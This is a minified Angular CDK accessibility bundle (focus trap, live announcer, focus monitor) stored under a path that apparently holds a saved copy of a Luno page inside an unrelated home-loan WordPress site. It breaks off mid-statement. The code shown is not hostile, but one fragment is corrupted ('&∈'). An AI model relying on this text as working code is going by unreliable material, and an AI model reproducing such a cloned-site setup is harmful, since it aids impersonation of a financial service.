File: /var/www/html/belairhomeloan.com/wp-content/Luno_Feb/index_files/main-es2015.js
(self.webpackChunkupgrade=self.webpackChunkupgrade||[]).push([[179],{97175:function(t,e,n){"use strict";n.d(e,{l3:function(){return r},_j:function(){return i},LC:function(){return s},ZN:function(){return g},jt:function(){return a},pV:function(){return p},F4:function(){return h},IO:function(){return f},vP:function(){return c},SB:function(){return u},oB:function(){return l},eR:function(){return d},X$:function(){return o},ZE:function(){return _},k1:function(){return v}});class i{}class s{}const r="*";function o(t,e){return{type:7,name:t,definitions:e,options:{}}}function a(t,e=null){return{type:4,styles:e,timings:t}}function c(t,e=null){return{type:2,steps:t,options:e}}function l(t){return{type:6,styles:t,offset:null}}function u(t,e,n){return{type:0,name:t,styles:e,options:n}}function h(t){return{type:5,steps:t}}function d(t,e,n=null){return{type:1,expr:t,animation:e,options:n}}function p(t=null){return{type:9,options:t}}function f(t,e,n=null){return{type:11,selector:t,animation:e,options:n}}function m(t){Promise.resolve(null).then(t)}class g{constructor(t=0,e=0){this._onDoneFns=[],this._onStartFns=[],this._onDestroyFns=[],this._started=!1,this._destroyed=!1,this._finished=!1,this._position=0,this.parentPlayer=null,this.totalTime=t+e}_onFinish(){this._finished||(this._finished=!0,this._onDoneFns.forEach(t=>t()),this._onDoneFns=[])}onStart(t){this._onStartFns.push(t)}onDone(t){this._onDoneFns.push(t)}onDestroy(t){this._onDestroyFns.push(t)}hasStarted(){return this._started}init(){}play(){this.hasStarted()||(this._onStart(),this.triggerMicrotask()),this._started=!0}triggerMicrotask(){m(()=>this._onFinish())}_onStart(){this._onStartFns.forEach(t=>t()),this._onStartFns=[]}pause(){}restart(){}finish(){this._onFinish()}destroy(){this._destroyed||(this._destroyed=!0,this.hasStarted()||this._onStart(),this.finish(),this._onDestroyFns.forEach(t=>t()),this._onDestroyFns=[])}reset(){this._started=!1}setPosition(t){this._position=this.totalTime?t*this.totalTime:1}getPosition(){return this.totalTime?this._position/this.totalTime:1}triggerCallback(t){const e="start"==t?this._onStartFns:this._onDoneFns;e.forEach(t=>t()),e.length=0}}class _{constructor(t){this._onDoneFns=[],this._onStartFns=[],this._finished=!1,this._started=!1,this._destroyed=!1,this._onDestroyFns=[],this.parentPlayer=null,this.totalTime=0,this.players=t;let e=0,n=0,i=0;const s=this.players.length;0==s?m(()=>this._onFinish()):this.players.forEach(t=>{t.onDone(()=>{++e==s&&this._onFinish()}),t.onDestroy(()=>{++n==s&&this._onDestroy()}),t.onStart(()=>{++i==s&&this._onStart()})}),this.totalTime=this.players.reduce((t,e)=>Math.max(t,e.totalTime),0)}_onFinish(){this._finished||(this._finished=!0,this._onDoneFns.forEach(t=>t()),this._onDoneFns=[])}init(){this.players.forEach(t=>t.init())}onStart(t){this._onStartFns.push(t)}_onStart(){this.hasStarted()||(this._started=!0,this._onStartFns.forEach(t=>t()),this._onStartFns=[])}onDone(t){this._onDoneFns.push(t)}onDestroy(t){this._onDestroyFns.push(t)}hasStarted(){return this._started}play(){this.parentPlayer||this.init(),this._onStart(),this.players.forEach(t=>t.play())}pause(){this.players.forEach(t=>t.pause())}restart(){this.players.forEach(t=>t.restart())}finish(){this._onFinish(),this.players.forEach(t=>t.finish())}destroy(){this._onDestroy()}_onDestroy(){this._destroyed||(this._destroyed=!0,this._onFinish(),this.players.forEach(t=>t.destroy()),this._onDestroyFns.forEach(t=>t()),this._onDestroyFns=[])}reset(){this.players.forEach(t=>t.reset()),this._destroyed=!1,this._finished=!1,this._started=!1}setPosition(t){const e=t*this.totalTime;this.players.forEach(t=>{const n=t.totalTime?Math.min(1,e/t.totalTime):1;t.setPosition(n)})}getPosition(){const t=this.players.reduce((t,e)=>null===t||e.totalTime>t.totalTime?e:t,null);return null!=t?t.getPosition():0}beforeDestroy(){this.players.forEach(t=>{t.beforeDestroy&&t.beforeDestroy()})}triggerCallback(t){const e="start"==t?this._onStartFns:this._onDoneFns;e.forEach(t=>t()),e.length=0}}const v="!"},51606:function(t,e,n){"use strict";n.d(e,{rt:function(){return st},s1:function(){return P},$s:function(){return A},Qr:function(){return W},kH:function(){return X},mK:function(){return B},Em:function(){return N},tE:function(){return K},qV:function(){return U},qm:function(){return it},Kd:function(){return Z},X6:function(){return j},yG:function(){return H}});var i=n(54364),s=n(2316),r=n(79441),o=n(11318),a=n(76491),c=n(81134),l=n(90084),u=n(14921),h=n(80639),d=n(9170),p=n(33927),f=n(53466),m=n(84515),g=n(83720),_=n(22663),v=n(20657),b=n(36145),y=n(90851);function w(t,e){return(t.getAttribute(e)||"").match(/\S+/g)||[]}const x="cdk-describedby-message-container",C="cdk-describedby-message",S="cdk-describedby-host";let E=0;const k=new Map;let T=null,A=(()=>{class t{constructor(t){this._document=t}describe(t,e,n){if(!this._canBeDescribed(t,e))return;const i=I(e,n);"string"!=typeof e?(O(e),k.set(i,{messageElement:e,referenceCount:0})):k.has(i)||this._createMessageElement(e,n),this._isElementDescribedByMessage(t,i)||this._addMessageReference(t,i)}removeDescription(t,e,n){if(!e||!this._isElementNode(t))return;const i=I(e,n);if(this._isElementDescribedByMessage(t,i)&&this._removeMessageReference(t,i),"string"==typeof e){const t=k.get(i);t&&0===t.referenceCount&&this._deleteMessageElement(i)}T&&0===T.childNodes.length&&this._deleteMessagesContainer()}ngOnDestroy(){const t=this._document.querySelectorAll(`[${S}]`);for(let e=0;e<t.length;e++)this._removeCdkDescribedByReferenceIds(t[e]),t[e].removeAttribute(S);T&&this._deleteMessagesContainer(),k.clear()}_createMessageElement(t,e){const n=this._document.createElement("div");O(n),n.textContent=t,e&&n.setAttribute("role",e),this._createMessagesContainer(),T.appendChild(n),k.set(I(t,e),{messageElement:n,referenceCount:0})}_deleteMessageElement(t){const e=k.get(t),n=e&&e.messageElement;T&&n&&T.removeChild(n),k.delete(t)}_createMessagesContainer(){if(!T){const t=this._document.getElementById(x);t&&t.parentNode&&t.parentNode.removeChild(t),T=this._document.createElement("div"),T.id=x,T.style.visibility="hidden",T.classList.add("cdk-visually-hidden"),this._document.body.appendChild(T)}}_deleteMessagesContainer(){T&&T.parentNode&&(T.parentNode.removeChild(T),T=null)}_removeCdkDescribedByReferenceIds(t){const e=w(t,"aria-describedby").filter(t=>0!=t.indexOf(C));t.setAttribute("aria-describedby",e.join(" "))}_addMessageReference(t,e){const n=k.get(e);(function(t,e,n){const i=w(t,e);i.some(t=>t.trim()==n.trim())||(i.push(n.trim()),t.setAttribute(e,i.join(" ")))})(t,"aria-describedby",n.messageElement.id),t.setAttribute(S,""),n.referenceCount++}_removeMessageReference(t,e){const n=k.get(e);n.referenceCount--,function(t,e,n){const i=w(t,e).filter(t=>t!=n.trim());i.length?t.setAttribute(e,i.join(" ")):t.removeAttribute(e)}(t,"aria-describedby",n.messageElement.id),t.removeAttribute(S)}_isElementDescribedByMessage(t,e){const n=w(t,"aria-describedby"),i=k.get(e),s=i&&i.messageElement.id;return!!s&&-1!=n.indexOf(s)}_canBeDescribed(t,e){if(!this._isElementNode(t))return!1;if(e&&"object"==typeof e)return!0;const n=null==e?"":`${e}`.trim(),i=t.getAttribute("aria-label");return!(!n||i&&i.trim()===n)}_isElementNode(t){return t.nodeType===this._document.ELEMENT_NODE}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(i.K0))},t.\u0275prov=s.Yz7({factory:function(){return new t(s.LFG(i.K0))},token:t,providedIn:"root"}),t})();function I(t,e){return"string"==typeof t?`${e||""}/${t}`:t}function O(t){t.id||(t.id=`${C}-${E++}`)}class R{constructor(t){this._items=t,this._activeItemIndex=-1,this._activeItem=null,this._wrap=!1,this._letterKeyStream=new r.xQ,this._typeaheadSubscription=o.w.EMPTY,this._vertical=!0,this._allowedModifierKeys=[],this._homeAndEnd=!1,this._skipPredicateFn=t=>t.disabled,this._pressedLetters=[],this.tabOut=new r.xQ,this.change=new r.xQ,t instanceof s.n_E&&t.changes.subscribe(t=>{if(this._activeItem){const e=t.toArray().indexOf(this._activeItem);e>-1&&e!==this._activeItemIndex&&(this._activeItemIndex=e)}})}skipPredicate(t){return this._skipPredicateFn=t,this}withWrap(t=!0){return this._wrap=t,this}withVerticalOrientation(t=!0){return this._vertical=t,this}withHorizontalOrientation(t){return this._horizontal=t,this}withAllowedModifierKeys(t){return this._allowedModifierKeys=t,this}withTypeAhead(t=200){return this._typeaheadSubscription.unsubscribe(),this._typeaheadSubscription=this._letterKeyStream.pipe((0,u.b)(t=>this._pressedLetters.push(t)),(0,h.b)(t),(0,d.h)(()=>this._pressedLetters.length>0),(0,p.U)(()=>this._pressedLetters.join(""))).subscribe(t=>{const e=this._getItemsArray();for(let n=1;n<e.length+1;n++){const i=(this._activeItemIndex+n)%e.length,s=e[i];if(!this._skipPredicateFn(s)&&0===s.getLabel().toUpperCase().trim().indexOf(t)){this.setActiveItem(i);break}}this._pressedLetters=[]}),this}withHomeAndEnd(t=!0){return this._homeAndEnd=t,this}setActiveItem(t){const e=this._activeItem;this.updateActiveItem(t),this._activeItem!==e&&this.change.next(this._activeItemIndex)}onKeydown(t){const e=t.keyCode,n=["altKey","ctrlKey","metaKey","shiftKey"].every(e=>!t[e]||this._allowedModifierKeys.indexOf(e)>-1);switch(e){case l.Mf:return void this.tabOut.next();case l.JH:if(this._vertical&&n){this.setNextItemActive();break}return;case l.LH:if(this._vertical&&n){this.setPreviousItemActive();break}return;case l.SV:if(this._horizontal&&n){"rtl"===this._horizontal?this.setPreviousItemActive():this.setNextItemActive();break}return;case l.oh:if(this._horizontal&&n){"rtl"===this._horizontal?this.setNextItemActive():this.setPreviousItemActive();break}return;case l.Sd:if(this._homeAndEnd&&n){this.setFirstItemActive();break}return;case l.uR:if(this._homeAndEnd&&n){this.setLastItemActive();break}return;default:return void((n||(0,l.Vb)(t,"shiftKey"))&&(t.key&&1===t.key.length?this._letterKeyStream.next(t.key.toLocaleUpperCase()):(e>=l.A&&e<=l.Z||e>=l.xE&&e<=l.aO)&&this._letterKeyStream.next(String.fromCharCode(e))))}this._pressedLetters=[],t.preventDefault()}get activeItemIndex(){return this._activeItemIndex}get activeItem(){return this._activeItem}isTyping(){return this._pressedLetters.length>0}setFirstItemActive(){this._setActiveItemByIndex(0,1)}setLastItemActive(){this._setActiveItemByIndex(this._items.length-1,-1)}setNextItemActive(){this._activeItemIndex<0?this.setFirstItemActive():this._setActiveItemByDelta(1)}setPreviousItemActive(){this._activeItemIndex<0&&this._wrap?this.setLastItemActive():this._setActiveItemByDelta(-1)}updateActiveItem(t){const e=this._getItemsArray(),n="number"==typeof t?t:e.indexOf(t),i=e[n];this._activeItem=null==i?null:i,this._activeItemIndex=n}_setActiveItemByDelta(t){this._wrap?this._setActiveInWrapMode(t):this._setActiveInDefaultMode(t)}_setActiveInWrapMode(t){const e=this._getItemsArray();for(let n=1;n<=e.length;n++){const i=(this._activeItemIndex+t*n+e.length)%e.length;if(!this._skipPredicateFn(e[i]))return void this.setActiveItem(i)}}_setActiveInDefaultMode(t){this._setActiveItemByIndex(this._activeItemIndex+t,t)}_setActiveItemByIndex(t,e){const n=this._getItemsArray();if(n[t]){for(;this._skipPredicateFn(n[t]);)if(!n[t+=e])return;this.setActiveItem(t)}}_getItemsArray(){return this._items instanceof s.n_E?this._items.toArray():this._items}}class P extends R{setActiveItem(t){this.activeItem&&this.activeItem.setInactiveStyles(),super.setActiveItem(t),this.activeItem&&this.activeItem.setActiveStyles()}}class N extends R{constructor(){super(...arguments),this._origin="program"}setFocusOrigin(t){return this._origin=t,this}setActiveItem(t){super.setActiveItem(t),this.activeItem&&this.activeItem.focus(this._origin)}}let D=(()=>{class t{constructor(t){this._platform=t}isDisabled(t){return t.hasAttribute("disabled")}isVisible(t){return function(t){return!!(t.offsetWidth||t.offsetHeight||"function"==typeof t.getClientRects&&t.getClientRects().length)}(t)&&"visible"===getComputedStyle(t).visibility}isTabbable(t){if(!this._platform.isBrowser)return!1;const e=function(t){try{return t.frameElement}catch(e){return null}}(function(t){return t.ownerDocument&&t.ownerDocument.defaultView||window}(t));if(e&&(-1===M(e)||!this.isVisible(e)))return!1;let n=t.nodeName.toLowerCase(),i=M(t);return t.hasAttribute("contenteditable")?-1!==i:!("iframe"===n||"object"===n||this._platform.WEBKIT&&this._platform.IOS&&!function(t){let e=t.nodeName.toLowerCase(),n="input"===e&&t.type;return"text"===n||"password"===n||"select"===e||"textarea"===e}(t))&&("audio"===n?!!t.hasAttribute("controls")&&-1!==i:"video"===n?-1!==i&&(null!==i||this._platform.FIREFOX||t.hasAttribute("controls")):t.tabIndex>=0)}isFocusable(t,e){return function(t){return!function(t){return function(t){return"input"==t.nodeName.toLowerCase()}(t)&&"hidden"==t.type}(t)&&(function(t){let e=t.nodeName.toLowerCase();return"input"===e||"select"===e||"button"===e||"textarea"===e}(t)||function(t){return function(t){return"a"==t.nodeName.toLowerCase()}(t)&&t.hasAttribute("href")}(t)||t.hasAttribute("contenteditable")||L(t))}(t)&&!this.isDisabled(t)&&((null==e?void 0:e.ignoreVisibility)||this.isVisible(t))}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(b.t4))},t.\u0275prov=s.Yz7({factory:function(){return new t(s.LFG(b.t4))},token:t,providedIn:"root"}),t})();function L(t){if(!t.hasAttribute("tabindex")||void 0===t.tabIndex)return!1;let e=t.getAttribute("tabindex");return"-32768"!=e&&!(!e||isNaN(parseInt(e,10)))}function M(t){if(!L(t))return null;const e=parseInt(t.getAttribute("tabindex")||"",10);return isNaN(e)?-1:e}class F{constructor(t,e,n,i,s=!1){this._element=t,this._checker=e,this._ngZone=n,this._document=i,this._hasAttached=!1,this.startAnchorListener=()=>this.focusLastTabbableElement(),this.endAnchorListener=()=>this.focusFirstTabbableElement(),this._enabled=!0,s||this.attachAnchors()}get enabled(){return this._enabled}set enabled(t){this._enabled=t,this._startAnchor&&this._endAnchor&&(this._toggleAnchorTabIndex(t,this._startAnchor),this._toggleAnchorTabIndex(t,this._endAnchor))}destroy(){const t=this._startAnchor,e=this._endAnchor;t&&(t.removeEventListener("focus",this.startAnchorListener),t.parentNode&&t.parentNode.removeChild(t)),e&&(e.removeEventListener("focus",this.endAnchorListener),e.parentNode&&e.parentNode.removeChild(e)),this._startAnchor=this._endAnchor=null,this._hasAttached=!1}attachAnchors(){return!!this._hasAttached||(this._ngZone.runOutsideAngular(()=>{this._startAnchor||(this._startAnchor=this._createAnchor(),this._startAnchor.addEventListener("focus",this.startAnchorListener)),this._endAnchor||(this._endAnchor=this._createAnchor(),this._endAnchor.addEventListener("focus",this.endAnchorListener))}),this._element.parentNode&&(this._element.parentNode.insertBefore(this._startAnchor,this._element),this._element.parentNode.insertBefore(this._endAnchor,this._element.nextSibling),this._hasAttached=!0),this._hasAttached)}focusInitialElementWhenReady(t){return new Promise(e=>{this._executeOnStable(()=>e(this.focusInitialElement(t)))})}focusFirstTabbableElementWhenReady(t){return new Promise(e=>{this._executeOnStable(()=>e(this.focusFirstTabbableElement(t)))})}focusLastTabbableElementWhenReady(t){return new Promise(e=>{this._executeOnStable(()=>e(this.focusLastTabbableElement(t)))})}_getRegionBoundary(t){let e=this._element.querySelectorAll(`[cdk-focus-region-${t}], [cdkFocusRegion${t}], [cdk-focus-${t}]`);for(let n=0;n<e.length;n++)e[n].hasAttribute(`cdk-focus-${t}`)?console.warn(`Found use of deprecated attribute 'cdk-focus-${t}', use 'cdkFocusRegion${t}' instead. The deprecated attribute will be removed in 8.0.0.`,e[n]):e[n].hasAttribute(`cdk-focus-region-${t}`)&&console.warn(`Found use of deprecated attribute 'cdk-focus-region-${t}', use 'cdkFocusRegion${t}' instead. The deprecated attribute will be removed in 8.0.0.`,e[n]);return"start"==t?e.length?e[0]:this._getFirstTabbableElement(this._element):e.length?e[e.length-1]:this._getLastTabbableElement(this._element)}focusInitialElement(t){const e=this._element.querySelector("[cdk-focus-initial], [cdkFocusInitial]");if(e){if(e.hasAttribute("cdk-focus-initial")&&console.warn("Found use of deprecated attribute 'cdk-focus-initial', use 'cdkFocusInitial' instead. The deprecated attribute will be removed in 8.0.0",e),!this._checker.isFocusable(e)){const n=this._getFirstTabbableElement(e);return null==n||n.focus(t),!!n}return e.focus(t),!0}return this.focusFirstTabbableElement(t)}focusFirstTabbableElement(t){const e=this._getRegionBoundary("start");return e&&e.focus(t),!!e}focusLastTabbableElement(t){const e=this._getRegionBoundary("end");return e&&e.focus(t),!!e}hasAttached(){return this._hasAttached}_getFirstTabbableElement(t){if(this._checker.isFocusable(t)&&this._checker.isTabbable(t))return t;let e=t.children||t.childNodes;for(let n=0;n<e.length;n++){let t=e[n].nodeType===this._document.ELEMENT_NODE?this._getFirstTabbableElement(e[n]):null;if(t)return t}return null}_getLastTabbableElement(t){if(this._checker.isFocusable(t)&&this._checker.isTabbable(t))return t;let e=t.children||t.childNodes;for(let n=e.length-1;n>=0;n--){let t=e[n].nodeType===this._document.ELEMENT_NODE?this._getLastTabbableElement(e[n]):null;if(t)return t}return null}_createAnchor(){const t=this._document.createElement("div");return this._toggleAnchorTabIndex(this._enabled,t),t.classList.add("cdk-visually-hidden"),t.classList.add("cdk-focus-trap-anchor"),t.setAttribute("aria-hidden","true"),t}_toggleAnchorTabIndex(t,e){t?e.setAttribute("tabindex","0"):e.removeAttribute("tabindex")}toggleAnchors(t){this._startAnchor&&this._endAnchor&&(this._toggleAnchorTabIndex(t,this._startAnchor),this._toggleAnchorTabIndex(t,this._endAnchor))}_executeOnStable(t){this._ngZone.isStable?t():this._ngZone.onStable.pipe((0,f.q)(1)).subscribe(t)}}let U=(()=>{class t{constructor(t,e,n){this._checker=t,this._ngZone=e,this._document=n}create(t,e=!1){return new F(t,this._checker,this._ngZone,this._document,e)}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(D),s.LFG(s.R0b),s.LFG(i.K0))},t.\u0275prov=s.Yz7({factory:function(){return new t(s.LFG(D),s.LFG(s.R0b),s.LFG(i.K0))},token:t,providedIn:"root"}),t})(),B=(()=>{class t{constructor(t,e,n){this._elementRef=t,this._focusTrapFactory=e,this._previouslyFocusedElement=null,this.focusTrap=this._focusTrapFactory.create(this._elementRef.nativeElement,!0)}get enabled(){return this.focusTrap.enabled}set enabled(t){this.focusTrap.enabled=(0,v.Ig)(t)}get autoCapture(){return this._autoCapture}set autoCapture(t){this._autoCapture=(0,v.Ig)(t)}ngOnDestroy(){this.focusTrap.destroy(),this._previouslyFocusedElement&&(this._previouslyFocusedElement.focus(),this._previouslyFocusedElement=null)}ngAfterContentInit(){this.focusTrap.attachAnchors(),this.autoCapture&&this._captureFocus()}ngDoCheck(){this.focusTrap.hasAttached()||this.focusTrap.attachAnchors()}ngOnChanges(t){const e=t.autoCapture;e&&!e.firstChange&&this.autoCapture&&this.focusTrap.hasAttached()&&this._captureFocus()}_captureFocus(){this._previouslyFocusedElement=(0,b.ht)(),this.focusTrap.focusInitialElementWhenReady()}}return t.\u0275fac=function(e){return new(e||t)(s.Y36(s.SBq),s.Y36(U),s.Y36(i.K0))},t.\u0275dir=s.lG2({type:t,selectors:[["","cdkTrapFocus",""]],inputs:{enabled:["cdkTrapFocus","enabled"],autoCapture:["cdkTrapFocusAutoCapture","autoCapture"]},exportAs:["cdkTrapFocus"],features:[s.TTD]}),t})();function j(t){return 0===t.offsetX&&0===t.offsetY}function H(t){const e=t.touches&&t.touches[0]||t.changedTouches&&t.changedTouches[0];return!(!e||-1!==e.identifier||null!=e.radiusX&&1!==e.radiusX||null!=e.radiusY&&1!==e.radiusY)}"undefined"!=typeof Element&∈const V=new s.OlP("cdk-input-modality-detector-options"),G={ignoreKeys:[l.zL,l.jx,l.b2,l.MW,l.JU]},Y=(0,b.i$)({passive:!0,capture:!0});let q=(()=>{class t{constructor(t,e,n,i){this._platform=t,this._mostRecentTarget=null,this._modality=new a.X(null),this._lastTouchMs=0,this._onKeydown=t=>{var e,n;(null===(n=null===(e=this._options)||void 0===e?void 0:e.ignoreKeys)||void 0===n?void 0:n.some(e=>e===t.keyCode))||(this._modality.next("keyboard"),this._mostRecentTarget=(0,b.sA)(t))},this._onMousedown=t=>{Date.now()-this._lastTouchMs<650||(this._modality.next(j(t)?"keyboard":"mouse"),this._mostRecentTarget=(0,b.sA)(t))},this._onTouchstart=t=>{H(t)?this._modality.next("keyboard"):(this._lastTouchMs=Date.now(),this._modality.next("touch"),this._mostRecentTarget=(0,b.sA)(t))},this._options=Object.assign(Object.assign({},G),i),this.modalityDetected=this._modality.pipe((0,m.T)(1)),this.modalityChanged=this.modalityDetected.pipe((0,g.x)()),t.isBrowser&&e.runOutsideAngular(()=>{n.addEventListener("keydown",this._onKeydown,Y),n.addEventListener("mousedown",this._onMousedown,Y),n.addEventListener("touchstart",this._onTouchstart,Y)})}get mostRecentModality(){return this._modality.value}ngOnDestroy(){this._modality.complete(),this._platform.isBrowser&&(document.removeEventListener("keydown",this._onKeydown,Y),document.removeEventListener("mousedown",this._onMousedown,Y),document.removeEventListener("touchstart",this._onTouchstart,Y))}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(b.t4),s.LFG(s.R0b),s.LFG(i.K0),s.LFG(V,8))},t.\u0275prov=s.Yz7({factory:function(){return new t(s.LFG(b.t4),s.LFG(s.R0b),s.LFG(i.K0),s.LFG(V,8))},token:t,providedIn:"root"}),t})();const $=new s.OlP("liveAnnouncerElement",{providedIn:"root",factory:function(){return null}}),z=new s.OlP("LIVE_ANNOUNCER_DEFAULT_OPTIONS");let Z=(()=>{class t{constructor(t,e,n,i){this._ngZone=e,this._defaultOptions=i,this._document=n,this._liveElement=t||this._createLiveElement()}announce(t,...e){const n=this._defaultOptions;let i,s;return 1===e.length&&"number"==typeof e[0]?s=e[0]:[i,s]=e,this.clear(),clearTimeout(this._previousTimeout),i||(i=n&&n.politeness?n.politeness:"polite"),null==s&&n&&(s=n.duration),this._liveElement.setAttribute("aria-live",i),this._ngZone.runOutsideAngular(()=>new Promise(e=>{clearTimeout(this._previousTimeout),this._previousTimeout=setTimeout(()=>{this._liveElement.textContent=t,e(),"number"==typeof s&&(this._previousTimeout=setTimeout(()=>this.clear(),s))},100)}))}clear(){this._liveElement&&(this._liveElement.textContent="")}ngOnDestroy(){clearTimeout(this._previousTimeout),this._liveElement&&this._liveElement.parentNode&&(this._liveElement.parentNode.removeChild(this._liveElement),this._liveElement=null)}_createLiveElement(){const t="cdk-live-announcer-element",e=this._document.getElementsByClassName(t),n=this._document.createElement("div");for(let i=0;i<e.length;i++)e[i].parentNode.removeChild(e[i]);return n.classList.add(t),n.classList.add("cdk-visually-hidden"),n.setAttribute("aria-atomic","true"),n.setAttribute("aria-live","polite"),this._document.body.appendChild(n),n}}return t.\u0275fac=function(e){return new(e||t)(s.LFG($,8),s.LFG(s.R0b),s.LFG(i.K0),s.LFG(z,8))},t.\u0275prov=s.Yz7({factory:function(){return new t(s.LFG($,8),s.LFG(s.R0b),s.LFG(i.K0),s.LFG(z,8))},token:t,providedIn:"root"}),t})(),W=(()=>{class t{constructor(t,e,n,i){this._elementRef=t,this._liveAnnouncer=e,this._contentObserver=n,this._ngZone=i,this._politeness="polite"}get politeness(){return this._politeness}set politeness(t){this._politeness="off"===t||"assertive"===t?t:"polite","off"===this._politeness?this._subscription&&(this._subscription.unsubscribe(),this._subscription=null):this._subscription||(this._subscription=this._ngZone.runOutsideAngular(()=>this._contentObserver.observe(this._elementRef).subscribe(()=>{const t=this._elementRef.nativeElement.textContent;t!==this._previousAnnouncedText&&(this._liveAnnouncer.announce(t,this._politeness),this._previousAnnouncedText=t)})))}ngOnDestroy(){this._subscription&&this._subscription.unsubscribe()}}return t.\u0275fac=function(e){return new(e||t)(s.Y36(s.SBq),s.Y36(Z),s.Y36(y.yq),s.Y36(s.R0b))},t.\u0275dir=s.lG2({type:t,selectors:[["","cdkAriaLive",""]],inputs:{politeness:["cdkAriaLive","politeness"]},exportAs:["cdkAriaLive"]}),t})();const J=new s.OlP("cdk-focus-monitor-default-options"),Q=(0,b.i$)({passive:!0,capture:!0});let K=(()=>{class t{constructor(t,e,n,i,s){this._ngZone=t,this._platform=e,this._inputModalityDetector=n,this._origin=null,this._windowFocused=!1,this._originFromTouchInteraction=!1,this._elementInfo=new Map,this._monitoredElementCount=0,this._rootNodeFocusListenerCount=new Map,this._windowFocusListener=()=>{this._windowFocused=!0,this._windowFocusTimeoutId=setTimeout(()=>this._windowFocused=!1)},this._stopInputModalityDetector=new r.xQ,this._rootNodeFocusAndBlurListener=t=>{const e=(0,b.sA)(t),n="focus"===t.type?this._onFocus:this._onBlur;for(let i=e;i;i=i.parentElement)n.call(this,t,i)},this._document=i,this._detectionMode=(null==s?void 0:s.detectionMode)||0}monitor(t,e=!1){const n=(0,v.fI)(t);if(!this._platform.isBrowser||1!==n.nodeType)return(0,c.of)(null);const i=(0,b.kV)(n)||this._getDocument(),s=this._elementInfo.get(n);if(s)return e&&(s.checkChildren=!0),s.subject;const o={checkChildren:e,subject:new r.xQ,rootNode:i};return this._elementInfo.set(n,o),this._registerGlobalListeners(o),o.subject}stopMonitoring(t){const e=(0,v.fI)(t),n=this._elementInfo.get(e);n&&(n.subject.complete(),this._setClasses(e),this._elementInfo.delete(e),this._removeGlobalListeners(n))}focusVia(t,e,n){const i=(0,v.fI)(t);i===this._getDocument().activeElement?this._getClosestElementsInfo(i).forEach(([t,n])=>this._originChanged(t,e,n)):(this._setOrigin(e),"function"==typeof i.focus&&i.focus(n))}ngOnDestroy(){this._elementInfo.forEach((t,e)=>this.stopMonitoring(e))}_getDocument(){return this._document||document}_getWindow(){return this._getDocument().defaultView||window}_toggleClass(t,e,n){n?t.classList.add(e):t.classList.remove(e)}_getFocusOrigin(t){return this._origin?this._originFromTouchInteraction?this._shouldBeAttributedToTouch(t)?"touch":"program":this._origin:this._windowFocused&&this._lastFocusOrigin?this._lastFocusOrigin:"program"}_shouldBeAttributedToTouch(t){return 1===this._detectionMode||!!(null==t?void 0:t.contains(this._inputModalityDetector._mostRecentTarget))}_setClasses(t,e){this._toggleClass(t,"cdk-focused",!!e),this._toggleClass(t,"cdk-touch-focused","touch"===e),this._toggleClass(t,"cdk-keyboard-focused","keyboard"===e),this._toggleClass(t,"cdk-mouse-focused","mouse"===e),this._toggleClass(t,"cdk-program-focused","program"===e)}_setOrigin(t,e=!1){this._ngZone.runOutsideAngular(()=>{this._origin=t,this._originFromTouchInteraction="touch"===t&&e,0===this._detectionMode&&(clearTimeout(this._originTimeoutId),this._originTimeoutId=setTimeout(()=>this._origin=null,this._originFromTouchInteraction?650:1))})}_onFocus(t,e){const n=this._elementInfo.get(e),i=(0,b.sA)(t);!n||!n.checkChildren&&e!==i||this._originChanged(e,this._getFocusOrigin(i),n)}_onBlur(t,e){const n=this._elementInfo.get(e);!n||n.checkChildren&&t.relatedTarget instanceof Node&&e.contains(t.relatedTarget)||(this._setClasses(e),this._emitOrigin(n.subject,null))}_emitOrigin(t,e){this._ngZone.run(()=>t.next(e))}_registerGlobalListeners(t){if(!this._platform.isBrowser)return;const e=t.rootNode,n=this._rootNodeFocusListenerCount.get(e)||0;n||this._ngZone.runOutsideAngular(()=>{e.addEventListener("focus",this._rootNodeFocusAndBlurListener,Q),e.addEventListener("blur",this._rootNodeFocusAndBlurListener,Q)}),this._rootNodeFocusListenerCount.set(e,n+1),1==++this._monitoredElementCount&&(this._ngZone.runOutsideAngular(()=>{this._getWindow().addEventListener("focus",this._windowFocusListener)}),this._inputModalityDetector.modalityDetected.pipe((0,_.R)(this._stopInputModalityDetector)).subscribe(t=>{this._setOrigin(t,!0)}))}_removeGlobalListeners(t){const e=t.rootNode;if(this._rootNodeFocusListenerCount.has(e)){const t=this._rootNodeFocusListenerCount.get(e);t>1?this._rootNodeFocusListenerCount.set(e,t-1):(e.removeEventListener("focus",this._rootNodeFocusAndBlurListener,Q),e.removeEventListener("blur",this._rootNodeFocusAndBlurListener,Q),this._rootNodeFocusListenerCount.delete(e))}--this._monitoredElementCount||(this._getWindow().removeEventListener("focus",this._windowFocusListener),this._stopInputModalityDetector.next(),clearTimeout(this._windowFocusTimeoutId),clearTimeout(this._originTimeoutId))}_originChanged(t,e,n){this._setClasses(t,e),this._emitOrigin(n.subject,e),this._lastFocusOrigin=e}_getClosestElementsInfo(t){const e=[];return this._elementInfo.forEach((n,i)=>{(i===t||n.checkChildren&&i.contains(t))&&e.push([i,n])}),e}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(s.R0b),s.LFG(b.t4),s.LFG(q),s.LFG(i.K0,8),s.LFG(J,8))},t.\u0275prov=s.Yz7({factory:function(){return new t(s.LFG(s.R0b),s.LFG(b.t4),s.LFG(q),s.LFG(i.K0,8),s.LFG(J,8))},token:t,providedIn:"root"}),t})(),X=(()=>{class t{constructor(t,e){this._elementRef=t,this._focusMonitor=e,this.cdkFocusChange=new s.vpe}ngAfterViewInit(){const t=this._elementRef.nativeElement;this._monitorSubscription=this._focusMonitor.monitor(t,1===t.nodeType&&t.hasAttribute("cdkMonitorSubtreeFocus")).subscribe(t=>this.cdkFocusChange.emit(t))}ngOnDestroy(){this._focusMonitor.stopMonitoring(this._elementRef),this._monitorSubscription&&this._monitorSubscription.unsubscribe()}}return t.\u0275fac=function(e){return new(e||t)(s.Y36(s.SBq),s.Y36(K))},t.\u0275dir=s.lG2({type:t,selectors:[["","cdkMonitorElementFocus",""],["","cdkMonitorSubtreeFocus",""]],outputs:{cdkFocusChange:"cdkFocusChange"}}),t})();const tt="cdk-high-contrast-black-on-white",et="cdk-high-contrast-white-on-black",nt="cdk-high-contrast-active";let it=(()=>{class t{constructor(t,e){this._platform=t,this._document=e}getHighContrastMode(){if(!this._platform.isBrowser)return 0;const 